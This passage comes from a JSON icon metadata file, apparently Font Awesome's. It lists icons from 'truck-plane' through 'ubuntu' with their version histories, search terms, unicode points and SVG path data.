        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M368.6 96l76.8 96H288V96h80.6zM224 80V192H64c-17.7 0-32 14.3-32 32v64c-17.7 0-32 14.3-32 32s14.3 32 32 32H65.1c-.7 5.2-1.1 10.6-1.1 16c0 61.9 50.1 112 112 112s112-50.1 112-112c0-5.4-.4-10.8-1.1-16h66.3c-.7 5.2-1.1 10.6-1.1 16c0 61.9 50.1 112 112 112s112-50.1 112-112c0-5.4-.4-10.8-1.1-16H608c17.7 0 32-14.3 32-32s-14.3-32-32-32V224c0-17.7-14.3-32-32-32H527.4L418.6 56c-12.1-15.2-30.5-24-50-24H272c-26.5 0-48 21.5-48 48zm0 288a48 48 0 1 1 -96 0 48 48 0 1 1 96 0zm288 0a48 48 0 1 1 -96 0 48 48 0 1 1 96 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M368.6 96l76.8 96H288V96h80.6zM224 80V192H64c-17.7 0-32 14.3-32 32v64c-17.7 0-32 14.3-32 32s14.3 32 32 32H65.1c-.7 5.2-1.1 10.6-1.1 16c0 61.9 50.1 112 112 112s112-50.1 112-112c0-5.4-.4-10.8-1.1-16h66.3c-.7 5.2-1.1 10.6-1.1 16c0 61.9 50.1 112 112 112s112-50.1 112-112c0-5.4-.4-10.8-1.1-16H608c17.7 0 32-14.3 32-32s-14.3-32-32-32V224c0-17.7-14.3-32-32-32H527.4L418.6 56c-12.1-15.2-30.5-24-50-24H272c-26.5 0-48 21.5-48 48zm0 288a48 48 0 1 1 -96 0 48 48 0 1 1 96 0zm288 0a48 48 0 1 1 -96 0 48 48 0 1 1 96 0z"
      }
    },
    "free": ["solid"]
  },
  "truck-plane": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["airplane", "plane", "transportation", "truck", "vehicle"]
    },
    "styles": ["solid"],
    "unicode": "e58f",
    "label": "Truck Plane",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M200 0c-30.6 0-56 54.7-56 86.1V192.5L7.8 274.3C2.9 277.2 0 282.4 0 288v64c0 5.1 2.4 9.8 6.4 12.8s9.3 3.9 14.1 2.5l123.4-37v81.2l-50 40c-3.8 3-6 7.6-6 12.5v32c0 5.1 2.5 10 6.6 13s9.5 3.8 14.4 2.2L200 480.9 290.4 511c-1.6-4.7-2.4-9.8-2.4-15V463.4c-18.2-10.5-30.7-29.7-31.9-51.8l-.1-.1V408 325.5 184l0-1.1 0 0V86.1C256 54.7 231.5 0 200 0zm88 176V400c0 20.9 13.4 38.7 32 45.3V488c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V448H544v40c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V445.3c18.6-6.6 32-24.4 32-45.3V176c0-26.5-21.5-48-48-48H336c-26.5 0-48 21.5-48 48zm79.8 78.7c3.3-8.7 11.2-14.7 20.5-14.7H539.7c9.2 0 17.2 6 20.5 14.7L576 304H352l15.8-49.3zM568 352a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM336 376a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M200 0c-30.6 0-56 54.7-56 86.1V192.5L7.8 274.3C2.9 277.2 0 282.4 0 288v64c0 5.1 2.4 9.8 6.4 12.8s9.3 3.9 14.1 2.5l123.4-37v81.2l-50 40c-3.8 3-6 7.6-6 12.5v32c0 5.1 2.5 10 6.6 13s9.5 3.8 14.4 2.2L200 480.9 290.4 511c-1.6-4.7-2.4-9.8-2.4-15V463.4c-18.2-10.5-30.7-29.7-31.9-51.8l-.1-.1V408 325.5 184l0-1.1 0 0V86.1C256 54.7 231.5 0 200 0zm88 176V400c0 20.9 13.4 38.7 32 45.3V488c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V448H544v40c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V445.3c18.6-6.6 32-24.4 32-45.3V176c0-26.5-21.5-48-48-48H336c-26.5 0-48 21.5-48 48zm79.8 78.7c3.3-8.7 11.2-14.7 20.5-14.7H539.7c9.2 0 17.2 6 20.5 14.7L576 304H352l15.8-49.3zM568 352a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM336 376a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "truck-ramp-box": {
    "aliases": {
      "names": ["truck-loading"],
      "unicodes": {
        "secondary": ["10f4de"]
      }
    },
    "changes": [
      "5.0.9",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "box",
        "cargo",
        "delivery",
        "inventory",
        "moving",
        "rental",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f4de",
    "label": "Truck Ramp Box",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 0V400c0 61.9-50.1 112-112 112c-61 0-110.5-48.7-112-109.3L48.4 502.9c-17.1 4.6-34.6-5.4-39.3-22.5s5.4-34.6 22.5-39.3L352 353.8V64c0-35.3 28.7-64 64-64H640zM576 400a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM23.1 207.7c-4.6-17.1 5.6-34.6 22.6-39.2l46.4-12.4 20.7 77.3c2.3 8.5 11.1 13.6 19.6 11.3l30.9-8.3c8.5-2.3 13.6-11.1 11.3-19.6l-20.7-77.3 46.4-12.4c17.1-4.6 34.6 5.6 39.2 22.6l41.4 154.5c4.6 17.1-5.6 34.6-22.6 39.2L103.7 384.9c-17.1 4.6-34.6-5.6-39.2-22.6L23.1 207.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 0V400c0 61.9-50.1 112-112 112c-61 0-110.5-48.7-112-109.3L48.4 502.9c-17.1 4.6-34.6-5.4-39.3-22.5s5.4-34.6 22.5-39.3L352 353.8V64c0-35.3 28.7-64 64-64H640zM576 400a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM23.1 207.7c-4.6-17.1 5.6-34.6 22.6-39.2l46.4-12.4 20.7 77.3c2.3 8.5 11.1 13.6 19.6 11.3l30.9-8.3c8.5-2.3 13.6-11.1 11.3-19.6l-20.7-77.3 46.4-12.4c17.1-4.6 34.6 5.6 39.2 22.6l41.4 154.5c4.6 17.1-5.6 34.6-22.6 39.2L103.7 384.9c-17.1 4.6-34.6-5.6-39.2-22.6L23.1 207.7z"
      }
    },
    "free": ["solid"]
  },
  "tty": {
    "aliases": {
      "names": ["teletype"],
      "unicodes": {
        "secondary": ["10f1e4"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.7.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["communication", "deaf", "telephone", "teletypewriter", "text"]
    },
    "styles": ["solid"],
    "unicode": "f1e4",
    "label": "Tty",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M38.3 241.3L15.1 200.6c-9.2-16.2-8.4-36.5 4.5-50C61.4 106.8 144.7 48 256 48s194.6 58.8 236.4 102.6c12.9 13.5 13.7 33.8 4.5 50l-23.1 40.7c-7.5 13.2-23.3 19.3-37.8 14.6l-81.1-26.6c-13.1-4.3-22-16.6-22-30.4V144c-49.6-18.1-104-18.1-153.6 0v54.8c0 13.8-8.9 26.1-22 30.4L76.1 255.8c-14.5 4.7-30.3-1.4-37.8-14.6zM32 336c0-8.8 7.2-16 16-16H80c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H48c-8.8 0-16-7.2-16-16V336zm0 96c0-8.8 7.2-16 16-16H80c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H48c-8.8 0-16-7.2-16-16V432zM144 320h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H144c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V336zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H336c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H432c-8.8 0-16-7.2-16-16V336zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H432c-8.8 0-16-7.2-16-16V432c0-8.8 7.2-16 16-16zM128 432c0-8.8 7.2-16 16-16H368c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H144c-8.8 0-16-7.2-16-16V432z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M38.3 241.3L15.1 200.6c-9.2-16.2-8.4-36.5 4.5-50C61.4 106.8 144.7 48 256 48s194.6 58.8 236.4 102.6c12.9 13.5 13.7 33.8 4.5 50l-23.1 40.7c-7.5 13.2-23.3 19.3-37.8 14.6l-81.1-26.6c-13.1-4.3-22-16.6-22-30.4V144c-49.6-18.1-104-18.1-153.6 0v54.8c0 13.8-8.9 26.1-22 30.4L76.1 255.8c-14.5 4.7-30.3-1.4-37.8-14.6zM32 336c0-8.8 7.2-16 16-16H80c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H48c-8.8 0-16-7.2-16-16V336zm0 96c0-8.8 7.2-16 16-16H80c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H48c-8.8 0-16-7.2-16-16V432zM144 320h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H144c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V336zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H336c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H432c-8.8 0-16-7.2-16-16V336zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H432c-8.8 0-16-7.2-16-16V432c0-8.8 7.2-16 16-16zM128 432c0-8.8 7.2-16 16-16H368c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H144c-8.8 0-16-7.2-16-16V432z"
      }
    },
    "free": ["solid"]
  },
  "tumblr": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f173",
    "label": "Tumblr",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M309.8 480.3c-13.6 14.5-50 31.7-97.4 31.7-120.8 0-147-88.8-147-140.6v-144H17.9c-5.5 0-10-4.5-10-10v-68c0-7.2 4.5-13.6 11.3-16 62-21.8 81.5-76 84.3-117.1.8-11 6.5-16.3 16.1-16.3h70.9c5.5 0 10 4.5 10 10v115.2h83c5.5 0 10 4.4 10 9.9v81.7c0 5.5-4.5 10-10 10h-83.4V360c0 34.2 23.7 53.6 68 35.8 4.8-1.9 9-3.2 12.7-2.2 3.5.9 5.8 3.4 7.4 7.9l22 64.3c1.8 5 3.3 10.6-.4 14.5z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M309.8 480.3c-13.6 14.5-50 31.7-97.4 31.7-120.8 0-147-88.8-147-140.6v-144H17.9c-5.5 0-10-4.5-10-10v-68c0-7.2 4.5-13.6 11.3-16 62-21.8 81.5-76 84.3-117.1.8-11 6.5-16.3 16.1-16.3h70.9c5.5 0 10 4.5 10 10v115.2h83c5.5 0 10 4.4 10 9.9v81.7c0 5.5-4.5 10-10 10h-83.4V360c0 34.2 23.7 53.6 68 35.8 4.8-1.9 9-3.2 12.7-2.2 3.5.9 5.8 3.4 7.4 7.9l22 64.3c1.8 5 3.3 10.6-.4 14.5z"
      }
    },
    "free": ["brands"]
  },
  "turkish-lira-sign": {
    "aliases": {
      "names": ["try", "turkish-lira"]
    },
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Turkish Lira Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e2bb",
    "label": "Turkish Lira Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M96 32c17.7 0 32 14.3 32 32V99.3L247.2 65.2c17-4.9 34.7 5 39.6 22s-5 34.7-22 39.6L128 165.9v29.4l119.2-34.1c17-4.9 34.7 5 39.6 22s-5 34.7-22 39.6L128 261.9V416h63.8c68.2 0 124.4-53.5 127.8-121.6l.4-8c.9-17.7 15.9-31.2 33.6-30.4s31.2 15.9 30.4 33.6l-.4 8C378.5 399.8 294.1 480 191.8 480H96c-17.7 0-32-14.3-32-32V280.1l-23.2 6.6c-17 4.9-34.7-5-39.6-22s5-34.7 22-39.6L64 213.6V184.1l-23.2 6.6c-17 4.9-34.7-5-39.6-22s5-34.7 22-39.6L64 117.6V64c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M96 32c17.7 0 32 14.3 32 32V99.3L247.2 65.2c17-4.9 34.7 5 39.6 22s-5 34.7-22 39.6L128 165.9v29.4l119.2-34.1c17-4.9 34.7 5 39.6 22s-5 34.7-22 39.6L128 261.9V416h63.8c68.2 0 124.4-53.5 127.8-121.6l.4-8c.9-17.7 15.9-31.2 33.6-30.4s31.2 15.9 30.4 33.6l-.4 8C378.5 399.8 294.1 480 191.8 480H96c-17.7 0-32-14.3-32-32V280.1l-23.2 6.6c-17 4.9-34.7-5-39.6-22s5-34.7 22-39.6L64 213.6V184.1l-23.2 6.6c-17 4.9-34.7-5-39.6-22s5-34.7 22-39.6L64 117.6V64c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "turn-down": {
    "aliases": {
      "names": ["level-down-alt"],
      "unicodes": {
        "composite": ["2935"],
        "secondary": ["10f3be"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "down", "level-down", "right arrow curving down"]
    },
    "styles": ["solid"],
    "unicode": "f3be",
    "label": "Turn Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M350 334.5c3.8 8.8 2 19-4.6 26l-136 144c-4.5 4.8-10.8 7.5-17.4 7.5s-12.9-2.7-17.4-7.5l-136-144c-6.6-7-8.4-17.2-4.6-26s12.5-14.5 22-14.5h88l0-192c0-17.7-14.3-32-32-32H32C14.3 96 0 81.7 0 64V32C0 14.3 14.3 0 32 0l80 0c70.7 0 128 57.3 128 128l0 192h88c9.6 0 18.2 5.7 22 14.5z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M350 334.5c3.8 8.8 2 19-4.6 26l-136 144c-4.5 4.8-10.8 7.5-17.4 7.5s-12.9-2.7-17.4-7.5l-136-144c-6.6-7-8.4-17.2-4.6-26s12.5-14.5 22-14.5h88l0-192c0-17.7-14.3-32-32-32H32C14.3 96 0 81.7 0 64V32C0 14.3 14.3 0 32 0l80 0c70.7 0 128 57.3 128 128l0 192h88c9.6 0 18.2 5.7 22 14.5z"
      }
    },
    "free": ["solid"]
  },
  "turn-up": {
    "aliases": {
      "names": ["level-up-alt"],
      "unicodes": {
        "composite": ["2934"],
        "secondary": ["10f3bf"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "level-up", "right arrow curving up"]
    },
    "styles": ["solid"],
    "unicode": "f3bf",
    "label": "Turn Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M350 177.5c3.8-8.8 2-19-4.6-26l-136-144C204.9 2.7 198.6 0 192 0s-12.9 2.7-17.4 7.5l-136 144c-6.6 7-8.4 17.2-4.6 26s12.5 14.5 22 14.5h88l0 192c0 17.7-14.3 32-32 32H32c-17.7 0-32 14.3-32 32v32c0 17.7 14.3 32 32 32l80 0c70.7 0 128-57.3 128-128l0-192h88c9.6 0 18.2-5.7 22-14.5z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M350 177.5c3.8-8.8 2-19-4.6-26l-136-144C204.9 2.7 198.6 0 192 0s-12.9 2.7-17.4 7.5l-136 144c-6.6 7-8.4 17.2-4.6 26s12.5 14.5 22 14.5h88l0 192c0 17.7-14.3 32-32 32H32c-17.7 0-32 14.3-32 32v32c0 17.7 14.3 32 32 32l80 0c70.7 0 128-57.3 128-128l0-192h88c9.6 0 18.2-5.7 22-14.5z"
      }
    },
    "free": ["solid"]
  },
  "tv": {
    "aliases": {
      "names": ["television", "tv-alt"],
      "unicodes": {
        "composite": ["f8e5"],
        "primary": ["f8e5"],
        "secondary": ["10f26c", "10f8e5"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["computer", "display", "monitor", "television"]
    },
    "styles": ["solid"],
    "unicode": "f26c",
    "label": "Tv",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 64V352H576V64H64zM0 64C0 28.7 28.7 0 64 0H576c35.3 0 64 28.7 64 64V352c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM128 448H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H128c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 64V352H576V64H64zM0 64C0 28.7 28.7 0 64 0H576c35.3 0 64 28.7 64 64V352c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM128 448H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H128c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "twitch": {
    "changes": ["4.2.0", "5.0.0", "5.12.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1e8",
    "label": "Twitch",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M391.17,103.47H352.54v109.7h38.63ZM285,103H246.37V212.75H285ZM120.83,0,24.31,91.42V420.58H140.14V512l96.53-91.42h77.25L487.69,256V0ZM449.07,237.75l-77.22,73.12H294.61l-67.6,64v-64H140.14V36.58H449.07Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M391.17,103.47H352.54v109.7h38.63ZM285,103H246.37V212.75H285ZM120.83,0,24.31,91.42V420.58H140.14V512l96.53-91.42h77.25L487.69,256V0ZM449.07,237.75l-77.22,73.12H294.61l-67.6,64v-64H140.14V36.58H449.07Z"
      }
    },
    "free": ["brands"]
  },
  "twitter": {
    "changes": ["2.0.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["social network", "tweet"]
    },
    "styles": ["brands"],
    "unicode": "f099",
    "label": "Twitter",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"
      }
    },
    "free": ["brands"]
  },
  "typo3": {
    "changes": ["5.0.1", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f42b",
    "label": "Typo3",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M178.7 78.4c0-24.7 5.4-32.4 13.9-39.4-69.5 8.5-149.3 34-176.3 66.4-5.4 7.7-9.3 20.8-9.3 37.1C7 246 113.8 480 191.1 480c36.3 0 97.3-59.5 146.7-139-7 2.3-11.6 2.3-18.5 2.3-57.2 0-140.6-198.5-140.6-264.9zM301.5 32c-30.1 0-41.7 5.4-41.7 36.3 0 66.4 53.8 198.5 101.7 198.5 26.3 0 78.8-99.7 78.8-182.3 0-40.9-67-52.5-138.8-52.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M178.7 78.4c0-24.7 5.4-32.4 13.9-39.4-69.5 8.5-149.3 34-176.3 66.4-5.4 7.7-9.3 20.8-9.3 37.1C7 246 113.8 480 191.1 480c36.3 0 97.3-59.5 146.7-139-7 2.3-11.6 2.3-18.5 2.3-57.2 0-140.6-198.5-140.6-264.9zM301.5 32c-30.1 0-41.7 5.4-41.7 36.3 0 66.4 53.8 198.5 101.7 198.5 26.3 0 78.8-99.7 78.8-182.3 0-40.9-67-52.5-138.8-52.5z"
      }
    },
    "free": ["brands"]
  },
  "u": {
    "aliases": {
      "unicodes": {
        "composite": ["75"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter U", "Latin Small Letter U", "letter"]
    },
    "styles": ["solid"],
    "unicode": "55",
    "label": "U",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 32c17.7 0 32 14.3 32 32V288c0 70.7 57.3 128 128 128s128-57.3 128-128V64c0-17.7 14.3-32 32-32s32 14.3 32 32V288c0 106-86 192-192 192S0 394 0 288V64C0 46.3 14.3 32 32 32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 32c17.7 0 32 14.3 32 32V288c0 70.7 57.3 128 128 128s128-57.3 128-128V64c0-17.7 14.3-32 32-32s32 14.3 32 32V288c0 106-86 192-192 192S0 394 0 288V64C0 46.3 14.3 32 32 32z"
      }
    },
    "free": ["solid"]
  },
  "uber": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f402",
    "label": "Uber",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M414.1 32H33.9C15.2 32 0 47.2 0 65.9V446c0 18.8 15.2 34 33.9 34H414c18.7 0 33.9-15.2 33.9-33.9V65.9C448 47.2 432.8 32 414.1 32zM237.6 391.1C163 398.6 96.4 344.2 88.9 269.6h94.4V290c0 3.7 3 6.8 6.8 6.8H258c3.7 0 6.8-3 6.8-6.8v-67.9c0-3.7-3-6.8-6.8-6.8h-67.9c-3.7 0-6.8 3-6.8 6.8v20.4H88.9c7-69.4 65.4-122.2 135.1-122.2 69.7 0 128.1 52.8 135.1 122.2 7.5 74.5-46.9 141.1-121.5 148.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M414.1 32H33.9C15.2 32 0 47.2 0 65.9V446c0 18.8 15.2 34 33.9 34H414c18.7 0 33.9-15.2 33.9-33.9V65.9C448 47.2 432.8 32 414.1 32zM237.6 391.1C163 398.6 96.4 344.2 88.9 269.6h94.4V290c0 3.7 3 6.8 6.8 6.8H258c3.7 0 6.8-3 6.8-6.8v-67.9c0-3.7-3-6.8-6.8-6.8h-67.9c-3.7 0-6.8 3-6.8 6.8v20.4H88.9c7-69.4 65.4-122.2 135.1-122.2 69.7 0 128.1 52.8 135.1 122.2 7.5 74.5-46.9 141.1-121.5 148.6z"
      }
    },
    "free": ["brands"]
  },
  "ubuntu": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["linux", "operating system", "os"]
    },
    "styles": ["brands"],
    "unicode": "f7df",
    "label": "Ubuntu",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm52.7 93c8.8-15.2 28.3-20.5 43.5-11.7 15.3 8.8 20.5 28.3 11.7 43.6-8.8 15.2-28.3 20.5-43.5 11.7-15.3-8.9-20.5-28.4-11.7-43.6zM87.4 287.9c-17.6 0-31.9-14.3-31.9-31.9 0-17.6 14.3-31.9 31.9-31.9 17.6 0 31.9 14.3 31.9 31.9 0 17.6-14.3 31.9-31.9 31.9zm28.1 3.1c22.3-17.9 22.4-51.9 0-69.9 8.6-32.8 29.1-60.7 56.5-79.1l23.7 39.6c-51.5 36.3-51.5 112.5 0 148.8L172 370c-27.4-18.3-47.8-46.3-56.5-79zm228.7 131.7c-15.3 8.8-34.7 3.6-43.5-11.7-8.8-15.3-3.6-34.8 11.7-43.6 15.2-8.8 34.7-3.6 43.5 11.7 8.8 15.3 3.6 34.8-11.7 43.6zm.3-69.5c-26.7-10.3-56.1 6.6-60.5 35-5.2 1.4-48.9 14.3-96.7-9.4l22.5-40.3c57 26.5 123.4-11.7 128.9-74.4l46.1.7c-2.3 34.5-17.3 65.5-40.3 88.4zm-5.9-105.3c-5.4-62-71.3-101.2-128.9-74.4l-22.5-40.3c47.9-23.7 91.5-10.8 96.7-9.4 4.4 28.3 33.8 45.3 60.5 35 23.1 22.9 38 53.9 40.2 88.5l-46 .6z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
